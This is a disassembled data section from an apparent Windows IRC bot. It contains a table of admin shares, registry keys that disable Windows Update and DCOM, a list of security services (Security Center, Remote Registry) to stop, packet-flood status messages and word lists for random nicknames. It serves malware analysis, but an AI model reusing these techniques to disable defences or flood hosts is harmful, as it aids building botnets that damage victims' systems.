dword_44E174 dd 0 ; sub_421783:loc_421807r ...
dword_44E178 dd 0 ; sub_421783+18Br ...
dd 3Eh dup(0)
db 3 dup(0)
dword_44E277 dd 0 ; sub_421783+193r ...
align 4
dd 3Fh dup(0)
dd 80000002h, 54464F53h, 45524157h, 6C6F505Ch, 65696369h
dd 694D5C73h, 736F7263h, 5C74666Fh, 646E6957h, 5C73776Fh
dd 646E6957h, 5573776Fh, 74616470h, 65h, 32h dup(0)
dd 44000000h, 746F4E6Fh, 6F6C6C41h, 53505877h, 3250h, 3Ch dup(0)
dd 4, 1, 81h dup(0)
dd 80000002h, 74666F53h, 65726177h, 63694D5Ch, 6F736F72h
dd 4F5C7466h, 454Ch, 39h dup(0)
dd 45000000h, 6C62616Eh, 4F434465h, 4Dh, 3Dh dup(0)
dd 1, 2 dup(0)
dd 4Eh, 3Eh dup(0)
dd 59000000h, 40h dup(0)
off_44EB98 dd offset off_44EF38 ; DATA XREF: sub_421A4D+85r
; sub_421A4D:loc_421B0Ar ...
dword_44EB9C dd 0 dd offset off_44EF28
align 8
dd offset off_44EF18
align 10h
dd offset aC_0 ; "C$"
dd offset aC_1 ; "C:\\"
dd offset aD_1 ; "D$"
dd offset aD_2 ; "D:\\"
dd offset aE_1 ; "E$"
dd offset aE_2 ; "E:\\"
dd offset aF_0 ; "F$"
dd offset aF_1 ; "F:\\"
dd offset aG_0 ; "G$"
dd offset aG_1 ; "G:\\"
dd offset asc_44EEC0 ; "H$"
dd offset asc_44EEB8 ; "H:\\"
dd offset aI_0 ; "I$"
dd offset aI_1 ; "I:\\"
dd offset aJ_0 ; "J$"
dd offset aJ_1 ; "J:\\"
dd offset aJ_0 ; "J$"
dd offset aJ_1 ; "J:\\"
dd offset aK_1 ; "K$"
dd offset aK_2 ; "K:\\"
dd offset asc_44EE80 ; "L$"
dd offset asc_44EE78 ; "L:\\"
dd offset aM_3 ; "M$"
dd offset aM_4 ; "M:\\"
dd offset aN_0 ; "N$"
dd offset aN_1 ; "N:\\"
dd offset aO_0 ; "O$"
dd offset aO_1 ; "O:\\"
dd offset aP_2 ; "P$"
dd offset aP_3 ; "P:\\"
dd offset aQ_1 ; "Q$"
dd offset aQ_2 ; "Q:\\"
dd offset aR_0 ; "R$"
dd offset aR_1 ; "R:\\"
dd offset aS_9 ; "S$"
dd offset aS_8 ; "S:\\"
dd offset aT_0 ; "T$"
dd offset aT_1 ; "T:\\"
dd offset aU_1 ; "U$"
dd offset aU_0 ; "U:\\"
dd offset aV_0 ; "V$"
dd offset aV_1 ; "V:\\"
dd offset aW_0 ; "W$"
dd offset aW_1 ; "W:\\"
dd offset asc_44EDC0 ; "X$"
dd offset asc_44EDB8 ; "X:\\"
dd offset aY_1 ; "Y$"
dd offset aY_2 ; "Y:\\"
dd offset aZ_0 ; "Z$"
dd offset aZ_1 ; "Z:\\"
dd offset off_44EF18
dd offset off_44ED84
dd offset off_44EF28
dd offset off_44ED74
dd offset off_44EF38
dd offset off_44ED68
dd offset off_44EF38
dd offset off_44ED5C
dd offset off_44EF38
dd offset off_44ED48
dd offset off_44EF38
dd offset aWkssvc ; "wkssvc\\"
dd offset off_44EF38
dd offset aSrvsvc ; "srvsvc\\"
dd offset off_44ED14
dd offset off_44ED00
dd offset off_44EF38
dd offset aTsclient ; "tsclient\\"
dd offset off_44EF38
dd offset aTsweb ; "tsweb\\"
dd offset off_44EF38
dd offset off_44ECD0
off_44ECD0 dd offset dword_50004C ; DATA XREF: ?9:0044ECCCo
dd offset dword_520054
dd 5Ch
aTsweb: ; DATA XREF: ?9:0044ECC4o
unicode 0, <tsweb\>,0
align 4
aTsclient: ; DATA XREF: ?9:0044ECBCo
unicode 0, <tsclient\>,0
off_44ED00 dd offset word_65006E ; DATA XREF: ?9:0044ECB4o
aTlogon:
unicode 0, <tlogon\>,0
off_44ED14 dd offset aSPstore_dllNot+6 ; DATA XREF: ?9:0044ECB0o
dd offset dword_4C0054
dd offset byte_47004F
dd offset byte_4E004F
dd 24h
aSrvsvc: ; DATA XREF: ?9:0044ECACo
unicode 0, <srvsvc\>,0
aWkssvc: ; DATA XREF: ?9:0044ECA4o
unicode 0, <wkssvc\>,0
off_44ED48 dd offset word_520042 ; DATA XREF: ?9:0044EC9Co
dd offset byte_57004F
dd offset aSPstore_dllNot+0Bh
dd offset word_5C0052
dd 0
off_44ED5C dd offset dword_490050 ; DATA XREF: ?9:0044EC94o
dd offset aSPstore_dllNot+8
dd 5Ch
off_44ED68 dd offset byte_500049 ; DATA XREF: ?9:0044EC8Co
dd offset byte_5C0043
dd 0
off_44ED74 dd offset aRy6iq0udbphN2n+9 ; DATA XREF: ?9:0044EC84o
dd offset byte_49004D
dd offset word_5C004E
dd 0
off_44ED84 dd offset dword_520050 ; DATA XREF: ?9:0044EC7Co
dd offset byte_4E0049
dd offset aSPstore_dllNot+0Ch
dd offset word_5C0052
align 8
aZ_1: ; DATA XREF: ?9:0044EC74o
unicode 0, <Z:\>,0
aZ_0: ; DATA XREF: ?9:0044EC70o
unicode 0, <Z$>,0
align 4
aY_2: ; DATA XREF: ?9:0044EC6Co
unicode 0, <Y:\>,0
aY_1: ; DATA XREF: ?9:0044EC68o
unicode 0, <Y$>,0
align 4
asc_44EDB8: ; DATA XREF: ?9:0044EC64o
unicode 0, <X:\>,0
asc_44EDC0: ; DATA XREF: ?9:0044EC60o
unicode 0, <X$>,0
align 4
aW_1: ; DATA XREF: ?9:0044EC5Co
unicode 0, <W:\>,0
aW_0: ; DATA XREF: ?9:0044EC58o
unicode 0, <W$>,0
align 4
aV_1: ; DATA XREF: ?9:0044EC54o
unicode 0, <V:\>,0
aV_0: ; DATA XREF: ?9:0044EC50o
unicode 0, <V$>,0
align 4
aU_0: ; DATA XREF: ?9:0044EC4Co
unicode 0, <U:\>,0
aU_1: ; DATA XREF: ?9:0044EC48o
unicode 0, <U$>,0
align 4
aT_1: ; DATA XREF: ?9:0044EC44o
unicode 0, <T:\>,0
aT_0: ; DATA XREF: ?9:0044EC40o
unicode 0, <T$>,0
align 4
aS_8: ; DATA XREF: ?9:0044EC3Co
unicode 0, <S:\>,0
aS_9: ; DATA XREF: ?9:0044EC38o
unicode 0, <S$>,0
align 4
aR_1: ; DATA XREF: ?9:0044EC34o
unicode 0, <R:\>,0
aR_0: ; DATA XREF: ?9:0044EC30o
unicode 0, <R$>,0
align 4
aQ_2: ; DATA XREF: ?9:0044EC2Co
unicode 0, <Q:\>,0
aQ_1: ; DATA XREF: ?9:0044EC28o
unicode 0, <Q$>,0
align 4
aP_3: ; DATA XREF: ?9:0044EC24o
unicode 0, <P:\>,0
aP_2: ; DATA XREF: ?9:0044EC20o
unicode 0, <P$>,0
align 4
aO_1: ; DATA XREF: ?9:0044EC1Co
unicode 0, <O:\>,0
aO_0: ; DATA XREF: ?9:0044EC18o
unicode 0, <O$>,0
align 4
aN_1: ; DATA XREF: ?9:0044EC14o
unicode 0, <N:\>,0
aN_0: ; DATA XREF: ?9:0044EC10o
unicode 0, <N$>,0
align 4
aM_4: ; DATA XREF: ?9:0044EC0Co
unicode 0, <M:\>,0
aM_3: ; DATA XREF: ?9:0044EC08o
unicode 0, <M$>,0
align 4
asc_44EE78: ; DATA XREF: ?9:0044EC04o
unicode 0, <L:\>,0
asc_44EE80: ; DATA XREF: ?9:0044EC00o
unicode 0, <L$>,0
align 4
aK_2: ; DATA XREF: ?9:0044EBFCo
unicode 0, <K:\>,0
aK_1: ; DATA XREF: ?9:0044EBF8o
unicode 0, <K$>,0
align 4
aJ_1: ; DATA XREF: ?9:0044EBECo ?9:0044EBF4o
unicode 0, <J:\>,0
aJ_0: ; DATA XREF: ?9:0044EBE8o ?9:0044EBF0o
unicode 0, <J$>,0
align 4
aI_1: ; DATA XREF: ?9:0044EBE4o
unicode 0, <I:\>,0
aI_0: ; DATA XREF: ?9:0044EBE0o
unicode 0, <I$>,0
align 4
asc_44EEB8: ; DATA XREF: ?9:0044EBDCo
unicode 0, <H:\>,0
asc_44EEC0: ; DATA XREF: ?9:0044EBD8o
unicode 0, <H$>,0
align 4
aG_1: ; DATA XREF: ?9:0044EBD4o
unicode 0, <G:\>,0
aG_0: ; DATA XREF: ?9:0044EBD0o
unicode 0, <G$>,0
align 4
aF_1: ; DATA XREF: ?9:0044EBCCo
unicode 0, <F:\>,0
aF_0: ; DATA XREF: ?9:0044EBC8o
unicode 0, <F$>,0
align 4
aE_2: ; DATA XREF: ?9:0044EBC4o
unicode 0, <E:\>,0
aE_1: ; DATA XREF: ?9:0044EBC0o
unicode 0, <E$>,0
align 4
aD_2: ; DATA XREF: ?9:0044EBBCo
unicode 0, <D:\>,0
aD_1: ; DATA XREF: ?9:0044EBB8o
unicode 0, <D$>,0
align 4
aC_1: ; DATA XREF: ?9:0044EBB4o
unicode 0, <C:\>,0
aC_0: ; DATA XREF: ?9:0044EBB0o
unicode 0, <C$>,0
align 4
off_44EF18 dd offset dword_520050 ; DATA XREF: ?9:0044EBA8o ?9:0044EC78o
dd offset byte_4E0049
aT_2:
unicode 0, <T$>,0
align 4
off_44EF28 dd offset aRy6iq0udbphN2n+9 ; DATA XREF: ?9:0044EBA0o
; ?9:0044EC80o
dd offset byte_49004D
aN_2:
unicode 0, <N$>,0
align 4
off_44EF38 dd offset byte_500049 ; DATA XREF: ?9:off_44EB98o
; ?9:0044EC88o ...
aC_2:
unicode 0, <C$>,0
align 4
aSecurityCenter db 'Security Center',0 ; DATA XREF: ?9:0044DF64o
aRemoteRegistry db 'Remote Registry',0 ; DATA XREF: ?9:0044DF5Co
aTelnet db 'Telnet',0 ; DATA XREF: ?9:off_44DF58o
align 4
aWscsvc db 'wscsvc',0 ; DATA XREF: ?9:0044DF54o
align 4
aMessenger db 'Messenger',0 ; DATA XREF: ?9:0044DF50o ?9:0044DF60o
align 10h
aRemoteregistry db 'RemoteRegistry',0 ; DATA XREF: ?9:0044DF4Co
align 10h
aTlntsvr db 'Tlntsvr',0 ; DATA XREF: ?9:off_44DF48o
aSRegistryS_2d_ db '%s Registry %s, (%.2d/%.2d)',0 ; DATA XREF: sub_421783+2AEo
aSFailedToSRegi db '%s Failed to %s Registry, (%.2d/%.2d)',0 ; DATA XREF: sub_421783+275o
align 4
aSecured db 'Secured',0 ; DATA XREF: sub_421783+25Eo
aSFailedToSet_0 db '%s Failed to set "%s\%s\%s" to "%s".',0 ; DATA XREF: sub_421783+21Do
align 4
aSSetSSSToS_ db '%s Set "%s\%s\%s" to "%s".',0 ; DATA XREF: sub_421783+1C4o
align 4
aSFailedToSetSS db '%s Failed to set "%s\%s\%s" to "%d".',0 ; DATA XREF: sub_421783+11Fo
align 10h
aSSetSSSToD_ db '%s Set "%s\%s\%s" to "%d".',0 ; DATA XREF: sub_421783+B5o
align 4
aSTotalShares_0 db '%s Total shares [%s: %d]',0 ; DATA XREF: sub_421A4D+365o
align 4
aTotalSharesS_0 db ' Total shares [%s: %d]',0 ; DATA XREF: sub_421A4D+343o
align 10h
aSNoSharesS_ db '%s No shares %s.',0 ; DATA XREF: sub_421A4D:loc_421D77o
align 4
aUnloading db 'Unloading',0 ; DATA XREF: sub_421A4D+289o
align 10h
aCreated db 'created',0 ; DATA XREF: sub_421A4D+23Eo
aSTotalSharesSD db '%s Total shares %s: [%d]',0 ; DATA XREF: sub_421A4D+231o
align 4
aTotalSharesSD db ' Total shares: [%s: %d]',0 ; DATA XREF: sub_421A4D+1CFo
off_44F0FC dd offset dword_532520 ; DATA XREF: sub_421A4D+C9o
; sub_421A4D+157o ...
dword_44F100 dd 2Ch ; sub_421A4D+142o ...
dword_44F104 dd 53207325h, 65726168h, 73252073h, 3Ah ; sub_421A4D+256o
aErased db 'erased',0 ; DATA XREF: sub_421A4D+34o
; sub_421A4D:loc_421C05o ...
align 4
aSTotalServices db '%s Total services stopped: %d',0 ; DATA XREF: sub_421DCA+15Eo
align 4
aSNoServicesSto db '%s No services stopped.',0 ; DATA XREF: sub_421DCA+136o
aSTheSServiceWa db '%s The %s service was not started.',0 ; DATA XREF: sub_421DCA+F0o
align 4
aSSServiceStopp db '%s %s service stopped.',0 ; DATA XREF: sub_421DCA+B2o
align 10h
aSTheSServiceDo db '%s The %s service does not exist.',0 ; DATA XREF: sub_421DCA+75o
align 4
aSystemShutting db 'System shutting down.',0 ; DATA XREF: sub_421F40+E8o
align 4
aS_4 db '"%s"',0 ; DATA XREF: sub_42211B+14o
align 4
aSErrorD db '%s Error: %d',0 ; DATA XREF: sub_42251B+2EBo
align 4
aSCanTSyn_Error db '%s Can',27h,'t Syn. Error: %d',0 ; DATA XREF: sub_42251B+95o
; sub_42251B+D9o ...
aSS@IkbS db '%s %s @ (%iKB/s)',0 ; DATA XREF: sub_4228EE+60o
align 10h
aSCanTUseRawOpt db '%s Can',27h,'t use raw opt: %d',0 ; DATA XREF: sub_422A87+120o
align 10h
aSErrorSendingP db '%s Error sending packets to IP: %s. Packets sent: %d. Error: <%d>'
; DATA XREF: sub_422D47+611o
db '.',0
align 4
aSSWithSToIpS_S db '%s %s with %s to IP: %s. Sent: %d packet(s) @ %dKB/sec (%dMB).',0
; DATA XREF: sub_422D47+589o
align 4
aSInvalidTarget db '%s Invalid target IP.',0 ; DATA XREF: sub_422D47+1D4o
align 4
aSSD__0 db '%s %s <%d>.',0 ; DATA XREF: sub_422D47+8Bo
; sub_422D47+138o
aSSS_3 db '%s (%s) %s',0 ; DATA XREF: sub_42358B+81o
align 4
aD_S db '%d. %s',0 ; DATA XREF: sub_423650+61o
align 4
aSThreadsList db '%s Threads List:',0 ; DATA XREF: sub_423650+37o
align 10h
off_44F300 dd offset aQ ; DATA XREF: sub_426698+69r
; "q"
dd offset aW_3 ; "w"
dd offset aE ; "e"
dd offset word_43EF70
dd offset aT_4 ; "t"
dd offset aY ; "y"
dd offset aU_3 ; "u"
dd offset aI_3 ; "i"
dd offset aP_4 ; "p"
dd offset dword_43DAAC
dd offset aS_2 ; "s"
dd offset aD_4 ; "d"
dd offset aF_3 ; "f"
dd offset aG_3 ; "g"
dd offset asc_450024 ; "h"
dd offset aJ_3 ; "j"
dd offset aK_4 ; "k"
dd offset asc_450018 ; "l"
dd offset aZ_3 ; "z"
dd offset dword_43AB88
dd offset word_43EF74
dd offset aV_3 ; "v"
dd offset aB_2 ; "b"
dd offset aN_4 ; "n"
dd offset aM_5 ; "m"
dd offset aQ_3 ; "Q"
dd offset aW_2 ; "W"
dd offset aE_3 ; "E"
dd offset aR_2 ; "R"
dd offset aT_3 ; "T"
dd offset aY_3 ; "Y"
dd offset aU_2 ; "U"
dd offset aI_2 ; "I"
dd offset aO_3 ; "O"
dd offset aP ; "P"
dd offset aA ; "A"
dd offset aS_10 ; "S"
dd offset aD_3 ; "D"
dd offset aF_2 ; "F"
dd offset aG_2 ; "G"
dd offset asc_44FFC8 ; "H"
dd offset aJ_2 ; "J"
dd offset aK_3 ; "K"
dd offset asc_44FFBC ; "L"
dd offset aZ_2 ; "Z"
dd offset asc_43D940 ; "X"
dd offset aC_3 ; "C"
dd offset aV_2 ; "V"
dd offset aB_1 ; "B"
dd offset aN_3 ; "N"
dd offset aM ; "M"
dd offset aSm4rt3 ; "SM4RT3"
dd offset aFar0oq ; "far0oq"
dd offset aMax1xguy ; "max1xguy"
dd offset aB0bm4rl3y ; "B0BM4RL3Y"
dd offset aEmilya ; "emilya"
dd offset aEmilyia ; "Emilyia"
dd offset aKr1zha ; "KR1ZHA"
dd offset aC4r1nna ; "C4r1nna"
dd offset aSw1n ; "sw1n"
dd offset aM4le ; "m4le"
dd offset aKok00 ; "kok00"
dd offset aFl3xxxt3r ; "fl3xxxt3r"
dd offset aK3nnn ; "k3nnn"
dd offset aXc4libr3 ; "xc4libr3"
dd offset aXtcXcal ; "xTc-xCaL"
dd offset aPwntuuuu ; "pwntuuuu"
dd offset aShezzza ; "Shezzza"
dd offset aTalika ; "Talika"
dd offset aM4rcy ; "m4rcy"
dd offset aSeiny ; "seiny"
dd offset aSe1nf3ld ; "se1nf3ld"
dd offset aCmecme ; "cmecme"
dd offset aHev4l ; "hev4l"
dd offset aBunty007 ; "bunty007"
dd offset aJann0 ; "jann0"
dd offset aR1mpy ; "r1mpy"
dd offset aH4xdd ; "h4xdd-"
dd offset aNastsha ; "nastsha"
dd offset aLisau ; "Lisau"
dd offset aTr0ll3r ; "tr0ll3r"
dd offset aM4n4e ; "m4n4e"
dd offset aK3rm1t ; "k3rm1t"
dd offset aPur3g0ld ; "pur3g0ld"
dd offset aC0redumpdd ; "C0reDumpDd"
dd offset aIiimra ; "iiimra"
dd offset aGirlzx ; "GirLzx"
dd offset aCam3l ; "CAM3L-"
dd offset aReshma ; "reshma"
dd offset aK3ncing ; "K3ncing"
dd offset aR45h3r ; "R45H3R"
dd offset aC4nsuu ; "c4nsuu"
dd offset aKandent ; "kandent"
dd offset aErk4nerkali ; "erk4nerkali"
dd offset aHexa4a ; "hexa4a"
dd offset aBerkkkko ; "berkkkko"
dd offset aBenibi ; "BeNiBi"
dd offset aIrm4ll ; "irm4Ll"
dd offset aMizsund4y ; "mizsund4y"
dd offset aTolga38 ; "Tolga38"
dd offset aJer1cho ; "JER1CHO"
dd offset aM4ry ; "M4RY-"
dd offset aAk1n ; "AK1N"
dd offset aMel3kk ; "mel3kk"
dd offset aTrr3nd ; "trr3nd"
dd offset aMERV ; "M-E-R-V"
dd offset aTekir ; "tekir"
dd offset aVenedik34 ; "venedik34"
dd offset aSevmekmi ; "sevmekmi"
dd offset aSud3nur ; "SUD3NUR"
dd offset aR0t0r ; "r0t0r-"
dd offset aR0t0 ; "r0t0"
dd offset aSmokeySn ; "smokey-sn"
dd offset aSmok3yS ; "smok3y-s"
dd offset aR0t0r ; "r0t0r-"
dd offset aRyann ; "ryann"
dd offset aNils ; "Nils-"
dd offset aDog ; "dog-"
dd offset aD_ ; "d_"
dd offset a_d ; "_d"
dd offset aBl0ndu ; "Bl0ndu"
dd offset aAkw1dz ; "AKW1Dz"
dd offset aRot0r ; "rot0r"
dd offset aBlondu ; "Blondu-"
dd offset aXc4l ; "XC4L"
dd offset aXtczzz ; "xTczzz"
dd offset aDczz ; "dczz"
dd offset aAhm3txtc ; "Ahm3tXTC"
dd offset aArzu ; "ARZU"
dd offset aHaticem ; "haticem"
dd offset aErnesto ; "ERNESTO"
dd offset aAslii ; "aslii"
dd offset aPiram1t ; "PIRAM1T"
dd offset aSamy3li ; "samy3li"
dd offset aRetg ; "RETG-"
dd offset aBlackp34rl ; "blackp34rl"
dd offset aPelinci ; "pelinci"
dd offset aAhm3t ; "ahm3t"
dd offset aTurkyballs ; "turkyballs"
dd offset aAnk32m ; "ank32m"
dd offset aAck0111 ; "ACK0111"
dd offset aIzm1rm ; "Izm1rm"
dd offset aAlb1na ; "alb1na"
dd offset aAyla ; "AYLA-"
dd offset aAte3e ; "AtE3e"
dd offset aAnkh4h ; "ankh4h"
dd offset aDonju4nm ; "Donju4nm"
dd offset aBog4c3r ; "bog4c3r"
dd offset aAlpay3m ; "alpay3m"
dd offset aCongu ; "CoNGU"
dd offset aDzlim ; "DzliM"
dd offset aDevran ; "DeVran"
dd offset aArd4k ; "ard4k"
dd offset aKeyifli ; "keyifli"
dd offset aMuratm_ ; "muratm_"
dd offset aHak4n3 ; "hak4n3"
dd offset aIrz4l ; "IRZ4L"
dd offset aAmth4n ; "AMTH4N"
dd offset aEmr3e ; "Emr3e"
dd offset aElm4zyok ; "elm4zyok"
dd offset aEsm3rkiz ; "Esm3rkiz"
dd offset aKeb1kec ; "keb1kec"
dd offset aFl0rd ; "FL0RD"
dd offset aH0ly1 ; "h0ly1"
dd offset aMahinure ; "MAHINURE"
dd offset aEllesme ; "Ellesme"
dd offset aAkut1 ; "akut1"
dd offset aKashmira ; "Kashmira"
dd offset aS3vis ; "S3ViS"
dd offset aSugaboi ; "SUGABOi"
dd offset aUzgun36 ; "uzgun36"
dd offset aKumul ; "kumul"
dd offset aAd4lim ; "AD4LIM"
dd offset aUmut00 ; "umut00"
dd offset aAnk32 ; "ANK32"
dd offset aDjmace ; "DJMACE"
dd offset aAnkart ; "Ankart"
dd offset aF3n3r ; "F3N3R"
dd offset aH4yr4n ; "h4yr4n"
dd offset aAng3lg4l ; "ang3lg4l"
dd offset aK4pk ; "k4pk"
dd offset aAchill3s ; "Achill3s"
dd offset aT3gm3n ; "T3GM3N"
dd offset aKot4n ; "kot4n"
dd offset aSevdan ; "sevdan"
dd offset aErkaaaa ; "ERKAAAA"
dd offset aAlcatrazak ; "alcatraZAK"
dd offset aA44mmm ; "a44mmm"
dd offset aB1rs3n ; "b1rs3n"
dd offset aYab4nc ; "yab4nc"
dd offset aD3vre ; "d3vre"
dd offset aErk3nnn ; "erk3nnn"
dd offset aAnkm4a ; "ankM4a"
dd offset aAd3m28 ; "Ad3m28"
dd offset aMaxs1lla ; "maxs1lla"
dd offset aM41st ; "M41ST"
dd offset aAd33 ; "Ad33"
dd offset aFirt ; "firt"
dd offset aAta29111 ; "Ata29111"
dd offset aK00oray ; "K00ORAY"
dd offset aAkd3nnan ; "akd3nnan"
dd offset aLizmirlm ; "Lizmirlm"
dd offset aUlaru ; "ularu"
dd offset aNe__ ; "NE__"
dd offset aPassenger ; "passenger"
dd offset aTr0pikal ; "tr0pikal"
dd offset aC00l30m ; "c00l30m"
dd offset aC3m39 ; "c3m39"
dd offset aRerpjj ; "RERPJJ"
dd offset aTeoman ; "TEOMAN``"
dd offset aDallas ; "DALLAS"
dd offset aProm3theus ; "prom3theus"
dd offset aMaverick ; "MavericK"
dd offset aAdammo ; "ADAMMO"
dd offset aCumhur ; "cumhur"
dd offset aBiatch ; "biatch"
dd offset aW4nt3d ; "W4NT3D"
dd offset aBaby ; "baby"
dd offset aPizza ; "pizza"
dd offset aFat ; "fat"
dd offset aChild ; "child"
dd offset aMoon ; "moon"
dd offset aMan ; "man"
align 10h
off_44F680 dd offset aSh3x ; DATA XREF: sub_426698+4Er
; sub_426698+F8r
; "sh3x"
dd offset aLez ; "lez"
dd offset aZex ; "zex"
dd offset aTree ; "tree"
dd offset off_44F9B0
dd offset off_44F9AC
dd offset aTambe ; "|tambe|"
dd offset aWoh ; "|woh|"
dd offset aTot ; "-|tot|"
dd offset aSuck ; "|suck|"
dd offset aLuck ; "|luck|"
dd offset aHub ; "{hub}"
dd offset aSex ; "{sex}"
dd offset aGens ; "{gens|"
dd offset aLuf ; "|luf|"
dd offset aWikd ; "|wikd"
dd offset aSi ; "si}}"
dd offset aQ809 ; "Q809"
dd offset aDd8A ; "|dd8|a"
dd offset aB_2 ; "b"
dd offset word_43EF74
dd offset aD_4 ; "d"
dd offset aE ; "e"
dd offset aF_3 ; "f"
dd offset aG_3 ; "g"
dd offset asc_450024 ; "h"
dd offset aI_3 ; "i"
dd offset a__1 ; "_"
dd offset aJ_3 ; "j"
dd offset aK_4 ; "k"
dd offset asc_450018 ; "l"
dd offset aM_5 ; "m"
dd offset aN_4 ; "n"
dd offset aO_2 ; "o"
dd offset aP_4 ; "p"
dd offset aQ ; "q"
dd offset aRs ; "rs"
dd offset aT_4 ; "t"
dd offset aU_3 ; "u"
dd offset aV_3 ; "v"
dd offset aW_3 ; "w"
dd offset dword_43AB88
dd offset aY ; "y"
dd offset aZ_3 ; "z"
dd offset aHay ; "hay"
dd offset aRg ; "rg"
dd offset aTy ; "ty"
dd offset aGf ; "gf"
dd offset aRt ; "rt"
dd offset aDf ; "df"
dd offset aUi ; "ui"
dd offset aLuvy ; "luvy"
dd offset aTry ; "try"
dd offset aTrick ; "trick"
dd offset off_44F904
dd offset aZ_3 ; "z"
dd offset aG_3 ; "g"
dd offset aS_2 ; "s"
dd offset aQ ; "q"
dd offset aAfk ; "afk"
dd offset aAway ; "away"
dd offset dword_44F8F0
dd offset dword_44F8E8
dd offset off_44F8E4
dd offset aBbl ; "|bbl"
dd offset aW00i3s ; "w00i3s-"
dd offset aJunk ; "junk"
dd offset off_44F8C8
dd offset aF_2 ; "F"
dd offset aM ; "M"
dd offset aLuvu ; "LUVU"
dd offset off_44F8BC
dd offset aAa ; "^AA^"
dd offset aB_2 ; "b"
dd offset byte_454A34
dd offset aSl33pin ; "Sl33piN"
dd offset byte_454A34
dd offset byte_454A34
dd offset aFook ; "|Fook|"
dd offset aFree ; "Free"
dd offset byte_454A34
dd offset byte_454A34
dd offset asc_43D940 ; "X"
dd offset byte_454A34
dd offset off_44F898
dd offset aGirl ; "GIRL"
dd offset aGurl ; "gurl"
dd offset aShit ; "shit"
dd offset off_44F87C
dd offset aYeah ; "yeah"
dd offset aMuha ; "muha"
dd offset aMof0z ; "mof0z"
dd offset aMofoz ; "mofoz"
dd offset aTotz ; "totz"
dd offset aLol0lzz ; "lol0lzz"
dd offset aLololz ; "lololz"
dd offset dword_44F840
dd offset dword_44F838
dd offset dword_44F830
dd offset dword_44F828
dd offset dword_44F824
dd offset dword_44F820
dd offset dword_44F81C
dword_44F81C dd 7536h dword_44F820 dd 7538h dword_44F824 dd 347Ch dword_44F828 dd 756F7934h, 7Dhdword_44F830 dd 7C737534h, 0 dword_44F838 dd 65657266h, 7Chdword_44F840 dd 7C617Ch aLololz db 'lololz',0 ; DATA XREF: ?9:0044F7FCo
align 4
aLol0lzz db 'lol0lzz',0 ; DATA XREF: ?9:0044F7F8o
aTotz db 'totz',0 ; DATA XREF: ?9:0044F7F4o
align 4
aMofoz db 'mofoz',0 ; DATA XREF: ?9:0044F7F0o
align 4
aMof0z db 'mof0z',0 ; DATA XREF: ?9:0044F7ECo
align 4
aMuha db 'muha',0 ; DATA XREF: ?9:0044F7E8o
align 4
aYeah db 'yeah',0 ; DATA XREF: ?9:0044F7E4o
align 4
off_44F87C dd offset byte_616861 ; DATA XREF: ?9:0044F7E0o
aShit db 'shit',0 ; DATA XREF: ?9:0044F7DCo
align 4
aGurl db 'gurl',0 ; DATA XREF: ?9:0044F7D8o
align 10h
aGirl db 'GIRL',0 ; DATA XREF: ?9:0044F7D4o
align 4
off_44F898 dd offset word_594F42 ; DATA XREF: ?9:0044F7D0o
aFree db 'Free',0 ; DATA XREF: ?9:0044F7BCo
align 4
aFook db '|Fook|',0 ; DATA XREF: ?9:0044F7B8o
align 4
aSl33pin db 'Sl33piN',0 ; DATA XREF: ?9:0044F7ACo
aAa db '^AA^',0 ; DATA XREF: ?9:0044F7A0o
align 4
off_44F8BC dd offset byte_646153 ; DATA XREF: ?9:0044F79Co
aLuvu db 'LUVU',0 ; DATA XREF: ?9:0044F798o
align 4
off_44F8C8 dd offset byte_5F7C5F ; DATA XREF: ?9:0044F78Co
aJunk db 'junk',0 ; DATA XREF: ?9:0044F788o
align 4
aW00i3s db 'w00i3s-',0 ; DATA XREF: ?9:0044F784o
aBbl db '|bbl',0 ; DATA XREF: ?9:0044F780o
align 4
off_44F8E4 dd offset loc_425240+2 ; DATA XREF: ?9:0044F77Co
dword_44F8E8 dd 6B66617Ch, 0 dword_44F8F0 dd 6177617Ch, 79haAway db 'away',0 ; DATA XREF: ?9:0044F770o
align 10h
aAfk db 'afk',0 ; DATA XREF: ?9:0044F76Co
off_44F904 dd offset byte_63636D ; DATA XREF: ?9:0044F758o
aTrick db 'trick',0 ; DATA XREF: ?9:0044F754o
align 10h
aTry db 'try',0 ; DATA XREF: ?9:0044F750o
aLuvy db 'luvy',0 ; DATA XREF: ?9:0044F74Co
align 4
aUi db 'ui',0 ; DATA XREF: ?9:0044F748o
align 10h
aDf db 'df',0 ; DATA XREF: ?9:0044F744o
align 4
aRt db 'rt',0 ; DATA XREF: ?9:0044F740o
align 4
aGf db 'gf',0 ; DATA XREF: ?9:0044F73Co
align 4
aTy db 'ty',0 ; DATA XREF: ?9:0044F738o
align 10h
aRg db 'rg',0 ; DATA XREF: ?9:0044F734o
align 4
aHay db 'hay',0 ; DATA XREF: ?9:0044F730o
aRs db 'rs',0 ; DATA XREF: ?9:0044F710o
align 4
aO_2: ; DATA XREF: ?9:0044F704o
unicode 0, <o>,0
a__1: ; DATA XREF: ?9:0044F6ECo
unicode 0, <_>,0
aDd8A db '|dd8|a',0 ; DATA XREF: ?9:0044F6C8o
align 4
aQ809 db 'Q809',0 ; DATA XREF: ?9:0044F6C4o
align 4
aSi db 'si}}',0 ; DATA XREF: ?9:0044F6C0o
align 4
aWikd db '|wikd',0 ; DATA XREF: ?9:0044F6BCo
align 4
aLuf db '|luf|',0 ; DATA XREF: ?9:0044F6B8o
align 4
aGens db '{gens|',0 ; DATA XREF: ?9:0044F6B4o
align 4
aSex db '{sex}',0 ; DATA XREF: ?9:0044F6B0o
align 4
aHub db '{hub}',0 ; DATA XREF: ?9:0044F6ACo
align 4
aLuck db '|luck|',0 ; DATA XREF: ?9:0044F6A8o
align 4
aSuck db '|suck|',0 ; DATA XREF: ?9:0044F6A4o
align 4
aTot db '-|tot|',0 ; DATA XREF: ?9:0044F6A0o
align 4
aWoh db '|woh|',0 ; DATA XREF: ?9:0044F69Co
align 4
aTambe db '|tambe|',0 ; DATA XREF: ?9:0044F698o
off_44F9AC dd offset dword_67616C ; DATA XREF: ?9:0044F694o
off_44F9B0 dd offset word_646162 ; DATA XREF: ?9:0044F690o
aTree db 'tree',0 ; DATA XREF: ?9:0044F68Co
align 4
aZex db 'zex',0 ; DATA XREF: ?9:0044F688o
aLez db 'lez',0 ; DATA XREF: ?9:0044F684o
aSh3x db 'sh3x',0 ; DATA XREF: ?9:off_44F680o
align 4
aMan db 'man',0 ; DATA XREF: ?9:0044F678o
aMoon db 'moon',0 ; DATA XREF: ?9:0044F674o
align 4
aChild db 'child',0 ; DATA XREF: ?9:0044F670o
align 10h
aFat db 'fat',0 ; DATA XREF: ?9:0044F66Co
